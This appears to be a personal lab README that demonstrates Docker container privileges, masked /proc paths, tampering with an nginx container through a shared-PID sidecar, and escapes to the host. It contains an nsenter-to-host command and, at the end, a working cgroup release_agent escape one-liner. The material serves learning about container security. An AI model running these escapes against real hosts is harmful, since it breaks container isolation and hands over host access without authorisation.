Demonstrate root user and privilege inside the container.
TODO:
- try and nsenter into the host
- try and list all the host processes from inside the container.
Refer to ../13_users_and_permissions/README.md for more examples.
NOTES:
- It looks as though the ubuntu containers now come with a preinstalled ubuntu user id:1000.
Demonstrate internal users and privilege
# build root
just docker-build root
# build myuser
just docker-build user
# roottest
docker run -it --rm --privileged --entrypoint "/bin/bash" --name 05_root 05_root
# in container shell
whoami
cat /proc/timer_list
# from another terminal
docker inspect $(docker ps --filter name=05_root -q)
# "MaskedPaths": null,
# "ReadonlyPaths": null
# usertest
docker run -it --rm --privileged --entrypoint "/bin/bash" --name 05_user 05_user
# in container shell
whoami
# even though privileged we can't 'cat timer_list'
cat /proc/timer_list
# from another terminal
docker inspect $(docker ps --filter name=05_user -q)
# "MaskedPaths": null,
# "ReadonlyPaths": null
# roottest
docker run -it --rm --entrypoint "/bin/bash" --name 05_root 05_root
# in container shell
whoami
# does not list anything but works (masked path)
cat /proc/timer_list
# from another terminal
docker inspect $(docker ps --filter name=05_root -q)
# should see in output
"MaskedPaths": [
"/proc/asound",
"/proc/acpi",
"/proc/kcore",
"/proc/keys",
"/proc/latency_stats",
"/proc/timer_list",
"/proc/timer_stats",
"/proc/sched_debug",
"/proc/scsi",
"/sys/firmware"
],
"ReadonlyPaths": [
"/proc/bus",
"/proc/fs",
"/proc/irq",
"/proc/sys",
"/proc/sysrq-trigger"
]
# usertest
docker run -it --rm --entrypoint "/bin/bash" --name 05_user 05_user
# in container shell
whoami
# does not list anything but works (masked path)
cat /proc/timer_list
# from another terminal
docker inspect $(docker ps --filter name=05_user -q)
Start an nginx container
# start nginx
docker run --rm --name mynginx -p 8080:80 -d nginx
open http://localhost:8080/
# open unprivileged non-root user sidecar
docker run -it --rm --pid=container:$(docker ps --filter name=mynginx -q) --entrypoint "/bin/bash" usertest
# Change the nginx static file (permission denied)
cat /proc/1/root/etc/nginx/nginx.conf
# open unprivileged root user sidecar (allows us to edit files)
docker run -it --rm --pid=container:$(docker ps --filter name=mynginx -q) --entrypoint "/bin/bash" 05_root
# Change the nginx static file
cat /proc/1/root/etc/nginx/nginx.conf
cat /proc/1/root/etc/nginx/conf.d/default.conf
apt update
apt install nano
# edit the <h1>Welcome to hacked nginx!</h1>
nano /proc/1/root/usr/share/nginx/html/index.html
cat /proc/1/root/usr/share/nginx/html/index.html
open http://localhost:8080/
# open privileged sidecar
docker run -it --rm --privileged --entrypoint "/bin/bash" 05_root
# try and nsenter into the host
# try and list all the containers from inside.
# nsenter into the host docker alpine
docker run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
Changing and reloading config
# We should also be able to change config and reload
docker exec -it $(docker ps --filter name=mynginx -q) nginx -s reload
docker stop mynginx
This will only work on Linux. It doesn't work on Docker for Desktop.
TODO Can I use this to get access to another container filesystem without being in same namespace?
understanding-docker-container-escapes
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps -aux >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o